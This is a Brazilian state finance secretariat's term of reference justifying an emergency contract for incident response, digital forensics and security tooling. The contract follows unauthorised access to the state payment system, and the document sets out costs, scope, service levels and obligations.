1.1. Contratação de Perícia Digital e Resposta a Incidentes - DFIR contemplando a detecção da vulnerabilidade explorada, o restabelecimento do ambiente e a análise forense do incidente registrado para apresentação aos órgãos de controle externo, e monitoramento contínuo de persistência dos incidentes pelo período de 6 meses.

Item	Descrição	Qtd	Un. Medida	Valor unitário	Valor total
1	Solução XDR + ITDR	-----	-----	-----	-----
1.1	Licenciamento Solução XDR + ITDR	1400	EndPoints	795,40	R\$ 646.279,82
1.2	Ativação da Solução XDR + ITDR	1	Serviço	40.831,76	R\$ 40.831,76
1.3	Operação da Solução XDR + ITDR	6	Mês	16.085,35	R\$ 96.512,10
2	Solução de Microsegmentação	-----	-----	-----	-----
2.1	Licenciamento Solução de Microsegmentação	1400	EndPoints	617,87	R\$ 865.018,00
2.2	Ativação da Solução de Microsegmentação	1	Serviço	40.752,50	R\$ 40.752,50
2.3	Operação da Solução de Microsegmentação	6	Mês	6.963,56	R\$ 41.781,36
3	Solução de DRPS	-----	-----	-----	-----
3.1	Licenciamento Solução de DRPS	6	Licença	20.480,46	R\$ 122.881,76
3.2	Ativação da Solução de DRPS	1	Serviço	2.244,25	R\$ 2.244,25
4	Operação F5	-----	-----	-----	-----
4.1	Assessment da Solução F5	1	Serviço	61.247,64	R\$ 61.247,64
4.2	Operação da Operação F5	6	Mês	23.800,92	R\$ 142.805,52
5	Serviços de MDR	6	Mês	124.313,42	R\$ 745.880,52
Valor total					R\$2.806.236,23

1.2. A contratação foi dimensionada de forma a contemplar exclusivamente os serviços indispensáveis para o enfrentamento da situação emergencial, incluindo:

- 1.2.1. Resposta a incidentes;
- 1.2.2. Análise forense digital;
- 1.2.3. Apoio à recuperação do ambiente.

1.3. O quantitativo de 1.400 (mil e quatrocentos) *endpoints* foi aferido com base no número de estações e servidores ativos no ambiente na data atual conforme podemos verificar nas imagens abaixo.

1.4. A vigência de 6 (seis) meses é justificada pela necessidade de manutenção da condição segura por tempo suficiente que permita a SEFAZ garantir a erradicação do incidente e mitigação da causa raiz, eliminando assim o fator persistência do incidente. Desta forma, dada a impossibilidade de recontração ou prorrogação de contrato emergencial, torna-se necessária e prudente a extensão do prazo pelo período de segurança proposto.

1.5. Neste prazo, a SEFAZ pretende concluir a contratação ordinária de serviços gerenciados de segurança conforme projeto já em andamento, garantindo assim a proteção necessária e eliminando a exposição aos riscos de permanecer com o ambiente sem ferramentas necessárias de segurança da informação.



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

STATUS	PLUS-INE - GRUPO ETIQUETAS	GRUPO ENCARGADO	LOCALIZAÇÃO	FABRICANTE	NÚMERO DE SÉRIE	TIPO	MODELO	SISTEMA OPERACIONAL	SISTEMA OPERACIONAL - VERSÃO	COMPONENTES - PROCESSADOR
EM USO	-SEFAZ > SUBSER > GETRI			Dell Inc.	CTTP3M1	NOTEBOOK	Latitude E4300	- NONE		
EM USO	-SEFAZ > GETEC > SUINT > SUEQ > Laboratório de TI			Hewlett-Packard	BRG005F9NB	Mini Tower	HP COMPAQ 6000 Pro Microtower	Windows	2009	Intel(R) Core(TM)2 Quad CPU Q8400 @ 2.66GHz
EM USO > EMPRÉSTIMO	-SEFAZ > SUBSER > GEFIS > INTERIOR > SUFIS-M - Vila Velha			Hewlett-Packard	BRG326F3Q4	Desktop	HP Compaq Elite 8300 All-in-One PC	Windows	1903	Intel(R) Core(TM) i5-3570 CPU @ 3.40GHz
EM USO > EMPRÉSTIMO	-SEFAZ > SUBSER > GEFIS > INTERIOR > SUFIS-M - Vila Velha			Hewlett-Packard	BRG326F26H	Desktop	HP Compaq Elite 8300 All-in-One PC	Windows	1909	Intel(R) Core(TM) i5-3570 CPU @ 3.40GHz
EM USO > EMPRÉSTIMO	-SEFAZ > GETEC > SUINT > SUEQ > EQUIPAMENTOS > DEPÓSITO 1ª ANDAR			Dell Inc.	BZKNL2	NOTEBOOK	Latitude 5480	Microsoft Windows 11 Pro	24H2	Intel Core i5-7200U CPU @ 2.50GHz

1.6. Não foram incluídos serviços acessórios ou não essenciais, em observância ao princípio da proporcionalidade.

1.7. O prazo de vigência da contratação será de 6 (seis) meses, tendo sido definido com base no tempo necessário para as medidas cabíveis que atendam de maneira eficaz os objetivos propostos, quais sejam:



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

financeira e as operações em andamento. A equipe de segurança da informação foi acionada e, em caráter emergencial, iniciou o protocolo de contenção.

- 2.6. Como medida imediata, houve o isolamento de servidores estratégicos e a suspensão temporária de operações financeiras automatizadas. Essa decisão, embora impactante para a rotina administrativa, foi essencial para impedir a concretização de possíveis desvios de recursos públicos.
- 2.7. Nas horas seguintes, uma força-tarefa foi montada, envolvendo especialistas em cibersegurança, auditores internos, tendo como dupla missão: conter o ataque ainda em curso e preservar evidências digitais para fundamentar a materialidade da investigação.
- 2.8. Por fim, houve atuação da equipe técnica e aos mecanismos de monitoramento existentes, não houve confirmação de prejuízo financeiro efetivo. As ordens de pagamento suspeitas foram bloqueadas antes de sua execução, e os sistemas começaram a ser gradualmente restaurados em ambiente seguro.
- 2.9. Tal cenário representa risco imediato à operação dos sistemas institucionais, podendo comprometer:
 - 2.9.1. A continuidade dos serviços públicos essenciais;
 - 2.9.2. A integridade e confidencialidade de dados sensíveis;
 - 2.9.3. A confiabilidade das informações institucionais.
- 2.10. A natureza dinâmica e progressiva de incidentes cibernéticos exige resposta imediata, sob pena de agravamento exponencial dos danos.
- 2.11. Neste sentido, a realização de procedimento licitatório ordinário demandaria prazo incompatível com a urgência da situação, considerando etapas como:
 - 2.11.1. Elaboração e publicação de edital;
 - 2.11.2. Prazos legais de propostas e recursos;
 - 2.11.3. Homologação e contratação.
- 2.12. O decurso desse tempo poderá resultar em:
 - 2.12.1. Ampliação do incidente de segurança;
 - 2.12.2. Vazamento de dados sensíveis;
 - 2.12.3. Indisponibilidade prolongada de sistemas críticos;
 - 2.12.4. Prejuízos operacionais e financeiros ao Estado.
- 2.13. Dessa forma, a demora inerente ao processo licitatório comprometeria diretamente a continuidade dos serviços públicos e a segurança dos ativos de informação.
- 2.14. A contratação de empresa especializada em resposta a incidentes e análise forense constitui o meio tecnicamente adequado e necessário para enfrentamento direto da situação emergencial, uma vez que envolve:



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

- 2.14.1. Identificação da origem e extensão do incidente;
 - 2.14.2. Contenção e erradicação de ameaças;
 - 2.14.3. Recuperação segura dos ambientes afetados;
 - 2.14.4. Preservação e análise de evidências digitais;
 - 2.14.5. Elaboração de relatório forense detalhado sobre o incidente.
 - 2.14.6. O objeto da contratação está estritamente limitado a essas finalidades, não abrangendo atividades que extrapolem a mitigação da situação emergencial.
- 2.15. Assim, verifica-se o enquadramento de situação emergencial concreta, caracterizada pela ocorrência de incidente de segurança da informação, evidenciado por tentativas de efetivar pagamentos através de acesso indevido ao Sistema de pagamentos do Estado – SIGEFES.

Das ações preventivas tomadas no âmbito da Gerência de Tecnologia da informação anteriores ao fato

- 2.16. Cumpre destacar que o ocorrido não possui qualquer vinculação a omissão ou retardamento de ações no âmbito da Getec/Sefaz. Isso porque existem projetos em andamento que visam garantir estabilidade e proteção a eventos aqui esculpido.
- 2.17. Com efeito, podemos citar a contratação da ferramenta gerenciamento de acesso privilegiado - PAM. A adoção desta solução traz benefícios significativos para a segurança e governança de TI, ao permitir o controle rigoroso e centralizado de acessos críticos, reduzindo riscos de uso indevido de credenciais e de incidentes de segurança. A ferramenta viabiliza o monitoramento contínuo das atividades privilegiadas, com registro e auditoria detalhada, fortalecendo a conformidade com normas e políticas internas.
- 2.18. Além disso, registra-se, ainda, que já existe em andamento desde o ano de 2025, o projeto para a contratação de um projeto de gerenciamento de riscos e compliance de cibersegurança, que reforça a iniciativa de mitigar qualquer forma que exponha o ambiente da Sefaz a risco.
- 2.18.1. O escopo deste projeto prevê a contratação de uma solução integrada de Security Operation Center (SOC) composta por múltiplos itens interdependentes que devem ser executados em conjunto para garantir o funcionamento adequado do ambiente de segurança da informação da SEFAZ/ES.
 - 2.18.2. Em primeiro lugar, destaca-se a contratação de uma solução de gestão de vulnerabilidades com foco em risco e identidade, que contempla o gerenciamento de ativos e usuários, além de mecanismos de análise de risco e impacto ao negócio. Essa solução tem como finalidade identificar, classificar e priorizar vulnerabilidades, permitindo uma atuação preventiva e orientada à criticidade dos ativos institucionais.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

- 2.18.3. Em segundo lugar, o objeto inclui uma solução de monitoramento avançado e resposta a incidentes, com uso de tecnologias como SIEM, automação de resposta (SOAR), simulação de ataques e ferramentas aplicadas a firewall.
- 2.18.4. Essa camada também abrange monitoramento de rede (NDR), análise comportamental e mecanismos de hiperautomação, permitindo detecção precoce de ameaças e respostas automatizadas. Trata-se do núcleo operacional do SOC, responsável pela correlação de eventos e atuação contínua frente a incidentes de segurança.
- 2.18.5. O terceiro conjunto refere-se à proteção avançada contra ameaças, especialmente ransomware, por meio de soluções EDR/XDR aplicadas a todos os endpoints.
- 2.18.6. Além disso, contempla soluções de gestão de disponibilidade para monitoramento de hosts, URLs e APIs, garantindo não apenas segurança, mas também a continuidade operacional dos sistemas críticos. Esses itens visam assegurar a integridade, disponibilidade e resiliência do ambiente tecnológico da Secretaria.
- 2.18.7. Outro eixo relevante envolve a proteção de e-mail, prevenção de vazamento de dados (DLP) e conscientização de usuários. Essa frente inclui ferramentas de segurança de e-mail (antiphishing, antispam), programas de treinamento (security awareness) e mecanismos de controle de exfiltração de dados. Soma-se a isso a microsegmentação de rede, que busca limitar a propagação de ataques e aumentar a segurança interna da infraestrutura .
- 2.18.8. Por fim, o objeto contempla a prestação contínua de serviços especializados, incluindo a operação do SOC, serviços de resposta a requisições com equipe dedicada e suporte técnico especializado por meio de horas técnicas.
- 2.18.9. Esses serviços garantem o funcionamento permanente (24x7) do centro de operações, bem como apoio técnico para incidentes complexos e evolução do ambiente de segurança. Em conjunto, todos os itens formam uma solução integrada, cuja execução unificada é essencial para assegurar eficiência, responsabilidade única e alto nível de proteção cibernética.
- 2.19. Assim, o projeto colide exatamente com a necessidade aqui exposta, evidenciando que existem iniciativas efetivas para que tal situação não ocorresse. Contudo, caso o procedimento tivesse sido concluído, não haveria a ocorrência do fato.
- 2.20. Além disso, a Getec formalizou vários outros contratos que coadunam com a seriedade com que trata a vertical de segurança e GRC, dentre eles destacam se a aquisição de solução Oracle Zero Data Loss, que trabalha em paralelo com o banco de dados Exadata, e outra ferramenta de backup para demais dados existentes no órgão.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

- 2.21. Somados, os contratos de backup chegam ao montante de quase R\$17.000.000,00 (dezessete milhões de reais), o que demonstra o compromisso da GETEC com as camadas de proteção aos dados da Secretaria e da sociedade como um todo.
- 2.22. Assim, resta evidenciado a persecução na proteção da confidencialidade, integridade, disponibilidade das informações.
- 2.23. Paralelamente, a necessidade atual é diagnosticar a causa, reparar imediatamente o ambiente, e apresentar lastro probatório acerca do evento, uma vez que, repisamos, há em andamento a previsão de contratação de solução robusta para a ocorrência de situação dessa monta. Portanto, há natureza estritamente emergencial.

3. DESCRIÇÃO DA SOLUÇÃO COMO UM TODO CONSIDERADO O CICLO DE VIDA DO OBJETO E ESPECIFICAÇÃO DO PRODUTO

3.1.A solução a ser contratada consiste na prestação de serviços especializados de Resposta a Incidentes de Segurança da Informação e Análise Forense Digital (DFIR – Digital Forensics and Incident Response), com o objetivo de identificar, conter, mitigar e erradicar incidentes de segurança, bem como preservar e analisar evidências digitais, assegurando a continuidade dos serviços institucionais da SEFAZ/ES.

3.2.A solução deverá abranger todo o ciclo de vida do tratamento de incidentes de segurança da informação, contemplando, de forma integrada e contínua:

3.2.1. Preparação e Mobilização

- 3.2.1.1. Disponibilizar equipe técnica especializada, apta a atuar de forma imediata em situações de incidente;
- 3.2.1.2. Estruturar processo de resposta baseado em boas práticas reconhecidas internacionalmente;
- 3.2.1.3. Estabelecer canais de comunicação e fluxo de acionamento para atendimento emergencial.

3.2.2. Detecção e Análise Inicial

- 3.2.2.1. Apoiar na identificação de incidentes de segurança da informação;
- 3.2.2.2. Realizar análise preliminar com vistas à classificação da severidade e priorização do atendimento;
- 3.2.2.3. Identificar possíveis vetores de ataque e ativos impactados.

3.2.3. Contenção, Erradicação e Recuperação

- 3.2.3.1. Atuar na contenção do incidente, com vistas à interrupção de sua propagação;



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

- 3.2.3.2. Apoiar tecnicamente a erradicação de ameaças identificadas;
- 3.2.3.3. Orientar a recuperação segura dos ambientes afetados;
- 3.2.3.4. Propor medidas corretivas e preventivas para evitar reincidência.

3.2.4. Análise Forense Digital

- 3.2.4.1. Realizar coleta, preservação e análise de evidências digitais;
- 3.2.4.2. Garantir a integridade e rastreabilidade das evidências (cadeia de custódia);
- 3.2.4.3. Identificar a origem, causa e extensão do incidente sempre que possível;
- 3.2.4.4. Produzir elementos técnicos que subsidiem eventuais demandas de órgãos de controle e auditoria.

3.2.5. Comunicação e Gestão do Incidente

- 3.2.5.1. Manter comunicação contínua com a CONTRATANTE durante todo o ciclo do incidente;
- 3.2.5.2. Fornecer atualizações periódicas quanto à evolução e tratamento do incidente;
- 3.2.5.3. Registrar todas as ações realizadas, garantindo rastreabilidade e auditabilidade.

3.2.6. Relatórios e Encerramento

- 3.2.6.1. Elaborar relatório técnico detalhado contendo a descrição completa do incidente;
- 3.2.6.2. Apresentar linha do tempo dos eventos e evidências coletadas;
- 3.2.6.3. Indicar impactos, causas e ações executadas;
- 3.2.6.4. Apresentar recomendações técnicas para mitigação de riscos futuros;
- 3.2.6.5. Elaborar relatório executivo para apoio à tomada de decisão.

3.2.7. Monitoramento e acompanhamento

- 3.2.7.1. Monitorar o incidente até sua completa mitigação;
- 3.2.7.2. Fornecer atualizações periódicas;
- 3.2.7.3. Informar mudanças de status e riscos adicionais;
- 3.2.7.4. Monitorar o ambiente durante todo o período contratual a fim de identificar a persistência e reincidência dos incidentes.

3.3. A solução deverá ser executada de forma integrada aos ambientes tecnológicos da SEFAZ/ES, sem causar interrupções indevidas nos serviços institucionais, devendo a CONTRATADA atuar em regime compatível com a criticidade dos incidentes identificados.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

3.4. A execução dos serviços deverá observar rigorosamente:

- 3.4.1. As normas internas de segurança da informação da SEFAZ/ES;
- 3.4.2. A legislação vigente, especialmente a Lei nº 13.709/2018 (LGPD);
- 3.4.3. Os princípios de confidencialidade, integridade, disponibilidade e rastreabilidade das informações.

3.5. A solução deverá assegurar:

- 3.5.1. Atendimento emergencial e tempestivo;
- 3.5.2. Atuação especializada com foco em mitigação imediata de riscos;
- 3.5.3. Suporte à continuidade dos serviços públicos;
- 3.5.4. Geração de evidências técnicas para fins de auditoria e controle.

3.6. Os serviços deverão ser prestados de forma contínua visando garantir a proteção e a integridade do ambiente durante todo o período de cobertura contratual.

4. REQUISITOS DA CONTRATAÇÃO

4.1. Requisitos Técnicos

4.1.1. A CONTRATADA deverá prestar serviços especializados de Resposta a Incidentes de Segurança da Informação e Análise Forense Digital (DFIR – Digital Forensics and Incident Response), em conformidade com boas práticas internacionais, tais como as diretrizes estabelecidas no NIST SP 800-61 (Computer Security Incident Handling Guide) ou equivalente.

4.1.2. A CONTRATADA deverá executar, no mínimo, as seguintes atividades:

4.1.2.1. Gestão e Condução de Incidentes

- a) Designar profissional responsável pela coordenação da resposta ao incidente, atuando como gerente de crise ou função equivalente;
- b) Estruturar e conduzir processo formal de resposta a incidentes, incluindo a organização de ambiente colaborativo (sala de crise ou equivalente);
- c) Coordenar as ações técnicas e operacionais necessárias à mitigação do incidente.

4.1.2.2. Registro, Comunicação e Gestão de Informações

- a) Implantar mecanismos formais de registro de incidentes, assegurando rastreabilidade das ações executadas;
- b) Estabelecer e executar fluxos de comunicação com as partes interessadas, garantindo atualização contínua quanto ao status do incidente;



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

- c) Manter registro detalhado de eventos, decisões e evidências durante todo o ciclo de resposta.

4.1.2.3. Coleta de Evidências Digitais

- a) Realizar coleta técnica de evidências digitais em dispositivos, servidores, sistemas, aplicações e componentes de rede afetados;
- b) Assegurar a integridade, autenticidade e preservação das evidências, observando práticas de cadeia de custódia;
- c) Empregar técnicas adequadas de aquisição de dados, incluindo, no mínimo, coleta de disco, memória, rede e logs.

4.1.2.4. Análise Forense de Evidências

- a) Analisar tecnicamente as evidências coletadas com vistas a:
 - b) Identificar a natureza do incidente;
 - c) Identificar presença de códigos maliciosos;
 - d) Identificar acessos não autorizados;
 - e) Identificar movimentações laterais;
 - f) Identificar exfiltração de dados ou outras ações maliciosas;
 - g) Correlacionar eventos e artefatos, possibilitando a reconstrução cronológica do incidente.

4.1.2.5. Identificação da Extensão e Impacto

- a) Determinar o escopo do incidente, incluindo sistemas, usuários e dados afetados;
- b) Avaliar o impacto atual e potencial sobre os serviços institucionais;
- c) Identificar ativos comprometidos e possíveis vetores de propagação.

4.1.2.6. Contenção e Isolamento

- a) Recomendar e/ou apoiar tecnicamente a execução de medidas de isolamento de ativos comprometidos;
- b) Atuar para conter a propagação do incidente;
- c) Orientar a implementação de controles emergenciais de segurança.

4.1.2.7. Mitigação e Erradicação

- a) Propor e orientar ações de mitigação, incluindo:
 - b) Bloqueio de tráfego malicioso;
 - c) Remoção de artefatos maliciosos;
 - d) Correção de vulnerabilidades exploradas;
 - e) Apoiar a restauração segura dos ambientes afetados.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

- a) Liderança / coordenação: CISSP, CISM;
- b) Forense Digital: GCFA, GCFE, CHFI;
- c) Resposta a incidentes: GCIH, Security+
- d) Análise ofensiva: CEH, OSCP

4.1.5. A CONTRATADA deverá observar integralmente as normas de segurança da informação e a legislação aplicável, especialmente a Lei nº 13.709/2018 (LGPD), garantindo confidencialidade e proteção dos dados.

4.1.6. A CONTRATADA deverá garantir atendimento compatível com a criticidade do incidente, incluindo disponibilidade para atendimento emergencial.

4.2. Da Sustentabilidade

4.2.1. A contratada deverá realizar a prestação dos serviços prioritariamente por meios digitais, incluindo disponibilização de atualizações, patches, documentações, relatórios técnicos e comunicações em formato eletrônico, de forma a reduzir o consumo de papel e outros insumos físicos.

4.2.2. A contratada deverá adotar práticas de responsabilidade socioambiental, observando a legislação ambiental vigente, promovendo o uso eficiente de recursos energéticos e computacionais em seus ambientes de atendimento e suporte, bem como assegurando, quando aplicável, a destinação ambientalmente adequada de resíduos tecnológicos, em conformidade com a Política Nacional de Resíduos Sólidos, Lei nº 12.305/2010.

4.3. Da Subcontratação

4.3.1. Não é admitida a subcontratação do objeto contratual tendo em vista que as características da solução a ser contratada demandam a atuação de um único prestador, capaz de assegurar a integralidade, a padronização e a rastreabilidade do serviço/produto, de forma que a divisão de responsabilidades entre consorciados poderia comprometer a eficiência, a governança e a continuidade da execução contratual.

4.4. Da Participação de Consórcio

4.4.1. Não será permitida a participação de empresas reunidas em consórcio, tendo em vista que as características da solução a ser contratada demandam a atuação de um único prestador, capaz de assegurar a integralidade, a padronização e a rastreabilidade do serviço/produto, de forma que a divisão de responsabilidades entre consorciados poderia comprometer a eficiência, a governança e a continuidade da execução contratual.

5. MODELO DE EXECUÇÃO DO OBJETO

5.1. Condições de execução



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

- 5.1.1. A contratada atuará imediatamente após a assinatura do contrato, disponibilizando os profissionais e as ferramentas necessárias para atender ao incidente em curso.
- 5.1.2. Deverá ser criada uma Sala de Crise "War Room" reunindo especialistas multidisciplinares da CONTRATADA e profissionais da CONTRATANTE que atuarão em conjunto na resolução do incidente em curso.
- 5.1.2.1. Esta sala será responsável por coordenar e executar todas as ações realizadas no âmbito do contrato, bem como será o ponto central de comunicação entre os integrantes da equipe.
- 5.1.3. Os serviços serão prestados de maneira preferencialmente remota em regime de 24/7 durante toda a vigência do contrato.
- 5.1.4. Ao menos 3 (três) profissionais deverão estar alocados na sede da CONTRATANTE até que se conclua a resolução do incidente em curso.
- 5.1.5. Ao menos 1 (um) profissional deverá estar alocado na sede da CONTRATANTE para tratativas imediatas de bloqueios e liberações que se fizerem necessárias à segurança e ao bom andamento dos serviços com o menor impacto possível no ambiente organizacional da SEFAZ.
- 5.1.6. Os itens 1.1, 1.2, 2.1, 2.2, 3.1 e 3.2 referentes à licenciamento e ativação deverão ser fornecidos e executados em até 10 (dez) contados do início da vigência do contrato.
- 5.1.7. O item 4.1 – Assessment da Solução F5, deverá ser realizado em até 10 (dez) contados do início da vigência do contrato.
- 5.1.8. Os itens 1.3, 2.3, 4.2 e 5 referentes aos serviços contínuos de operação e monitoramento das soluções deverão ser executados em regime de 24/7, iniciando-se imediatamente após a conclusão dos itens anteriores.
- 5.1.9. O incidente em curso deverá ser solucionado nos primeiros 30 dias do contrato.
- 5.1.9.1. Neste prazo a CONTRATADA deverá:
- Estruturar e conduzir processo formal de resposta a incidentes, incluindo a organização de ambiente colaborativo (sala de crise ou equivalente);
 - Coordenar as ações técnicas e operacionais necessárias à mitigação do incidente.
 - Implantar mecanismos formais de registro de incidentes, assegurando rastreabilidade das ações executadas;
 - Manter registro detalhado de eventos, decisões e evidências durante todo o ciclo de resposta.
 - Realizar coleta técnica de evidências digitais em dispositivos, servidores, sistemas, aplicações e componentes de rede afetados;



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

- f) Identificar a natureza do incidente;
- g) Identificar presença de códigos maliciosos;
- h) Identificar acessos não autorizados;
- i) Identificar movimentações laterais;
- j) Identificar exfiltração de dados ou outras ações maliciosas;
- k) Correlacionar eventos e artefatos, possibilitando a reconstrução cronológica do incidente.
- l) Determinar o escopo do incidente, incluindo sistemas, usuários e dados afetados;
- m) Avaliar o impacto atual e potencial sobre os serviços institucionais;
- n) Identificar ativos comprometidos e possíveis vetores de propagação.
- o) Recomendar e/ou apoiar tecnicamente a execução de medidas de isolamento de ativos comprometidos;
- p) Atuar para conter a propagação do incidente;
- q) Orientar a implementação de controles emergenciais de segurança.
- r) Bloqueio de tráfego malicioso;
- s) Remoção de artefatos maliciosos;
- t) Apoiar a restauração segura dos ambientes afetados.
- u) Identificar falhas exploradas (técnicas, processuais ou humanas);
- v) Indicar medidas corretivas e preventivas.
- w) Elaborar relatório técnico contendo, no mínimo:
 - I. Descrição do incidente;
 - II. Linha do tempo dos eventos;
 - III. Evidências coletadas;
 - IV. Ações realizadas;
 - V. Impacto identificado;
 - VI. Recomendações técnicas;
 - VII. Elaborar relatório executivo para apoio à tomada de decisão, entre outras ações que forem necessárias.

5.1.9.2. Após a finalização do incidente em curso de acordo com os critérios acima, a CONTRATADA deverá manter o monitoramento ativo do ambiente em regime 24/7 durante toda a vigência do contrato.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

5.1.9.3. A CONTRATADA emitirá mensalmente Relatório Mensal de Atividades e Incidentes Registrados elencando as ocorrências e atividades realizadas durante a execução do serviço de monitoramento.

- a) O relatório deverá ser apresentado pela CONTRATADA à CONTRATANTE no início do mês subsequente à realização das atividades contendo as evidências dos serviços realizados no período.

5.2. Do IMR

5.2.1. A contratada deverá atender os níveis mínimos de serviço de acordo com os instrumentos de medição de resultado descritos abaixo.

5.2.2. O não atendimento dos critérios mínimos ensejará nas glosas previstas sem prejuízo das sanções administrativas previstas em contrato.

5.2.2.1. Tempo de Atendimento Inicial

Severidade	Definição	Prazo Máximo
Crítica	Incidente com impacto severo ou indisponibilidade	até 1 hora
Alta	Comprometimento relevante	até 4 horas
Média	Impacto moderado	até 8 horas
Baixa	Baixo impacto	até 24 horas

5.2.2.2. Contenção do Incidente em Curso em até 30 dias

- a) Atuar na contenção do incidente;
b) Apoiar na erradicação da ameaça;
c) Promover a recuperação segura do ambiente;
d) Implementar e propor medidas corretivas e preventivas;
e) Apresentar análise forense digital.

5.2.2.3. Atualizações e Comunicação

- a) Atualizações periódicas deverão ser fornecidas no máximo a cada 4 horas para incidentes críticos;
b) Relatório preliminar deverá ser entregue em até 24 horas após estabilização;
c) Relatório final deverá ser entregue em até 5 dias úteis.

5.2.3. Descumprimento do IMR

5.2.3.1. O não cumprimento dos prazos estabelecidos sujeitará a CONTRATADA às seguintes penalidades:

PRAZO	AÇÃO
Atraso de até 10%	advertência formal
Atraso entre 10% e 30%	glosa de até 2% do valor mensal do contrato
Atraso superior a 30%	glosa de até 5% + possibilidade de rescisão contratual

5.2.3.2. Falhas na Execução Técnica



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

FALHA	AÇÃO
Não entrega de relatórios	glosa de até 3%;
Falha na condução do incidente	glosa de até 5%
Descumprimento de confidencialidade	penalidades máximas previstas em lei

5.2.3.3. Descumprimento de ambos os critérios ensejarão em cumulatividades das glosas;

5.2.3.4. A reincidência em falhas poderá ensejar:

- Agravamento das penalidades através da majoração da glosa em 50% em relação a penalidade anterior;
- Aplicação das sanções administrativas previstas em contrato;
- Rescisão unilateral do contrato sem prejuízo das sanções administrativas e legais cabíveis.

5.3. Local e horário da prestação dos serviços

5.3.1. Os bens deverão ser entregues no endereço sede da SEFAZ-ES, na Gerência de Tecnologia da Informação, Av. João Batista Parra, n.º 600, 1º andar, ala convento. Ed. Aureliano Hoffman, Enseada do Suá - CEP 29050-375, Vitória/Tel. 3347-5346.

5.4. Materiais a serem disponibilizados

5.4.1. A CONTRATANTE deverá disponibilizar toda infraestrutura de servidores necessária para a instalação das licenças, bem como toda INFRAESTRUTURA para os consultores que atuarão no projeto, como: mesas, cadeiras, estações de trabalho, acesso à rede, contas na rede, demais ferramentas e utensílios que se fizerem necessários.

5.5. Especificação da garantia do serviço (art. 40, §1º, inciso III, da Lei nº 14.133, de 2021)

5.5.1. A CONTRATADA se responsabilizará por quaisquer problemas ou falhas decorrentes de sua execução, por um período mínimo de 12 (doze) meses, contados a partir do aceite dos serviços. Durante este prazo, a correção de tais erros será feita sem nenhum custo adicional para a contratante.

6. MODELO DE GESTÃO DO CONTRATO

6.1. O contrato deverá ser executado fielmente pelas partes, de acordo com as cláusulas avençadas e as normas da Lei nº 14.133/2021, e cada parte responderá pelas consequências de sua inexecução total ou parcial.

6.2. As comunicações entre o órgão ou entidade e a contratada devem ser realizadas por escrito sempre que o ato exigir tal formalidade, admitindo-se o uso de mensagem eletrônica para esse fim.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

- 6.3. O órgão ou entidade poderá convocar representante da empresa para adoção de providências que devam ser cumpridas de imediato.
- 6.4. Após a assinatura do contrato ou instrumento equivalente, o órgão ou entidade poderá convocar o representante da empresa contratada para reunião inicial para apresentação do plano de fiscalização, que conterá informações acerca das obrigações contratuais, dos mecanismos de fiscalização, das estratégias para execução do objeto, do plano complementar de execução da contratada, quando houver, do método de aferição dos resultados e das sanções aplicáveis, dentre outros.

7. DAS OBRIGAÇÕES DAS PARTES

7.1. Das obrigações do contratante:

- 7.1.1. Nomear Gestor e Fiscal para acompanhar e fiscalizar a execução dos contratos.
- 7.1.2. Receber o objeto fornecido pela CONTRATADA que esteja em conformidade com proposta aceita, conforme inspeções realizadas, no prazo em condições estabelecidas neste Termo de Referência, atestando as respectivas faturas.
- 7.1.3. Aplicar a CONTRATADA as sanções administrativas legais, regulamentais e contratuais cabíveis motivadas pela inexecução total ou parcial, neste Termo de Referência, do Estudo Técnico Preliminar e do Contrato.
- 7.1.4. Liquidar o empenho e efetuar pagamento a CONTRATADA do valor correspondente a execução do objeto, no prazo, forma e condições estabelecidas neste Termo de Referência, Estudo Técnico Preliminar e o Instrumento Contratual.
- 7.1.5. Comunicar a CONTRATADA todas e quaisquer ocorrências relacionadas com a prestação dos serviços contratados.
- 7.1.6. Definir produtividade ou capacidade mínima da prestação de serviços por parte da CONTRATADA, com base em pesquisa de mercado, quando aplicável.
- 7.1.7. Exigir o cumprimento de todas as obrigações assumidas, pela CONTRATADA, de acordo com este Termo de Referência e o Contrato.
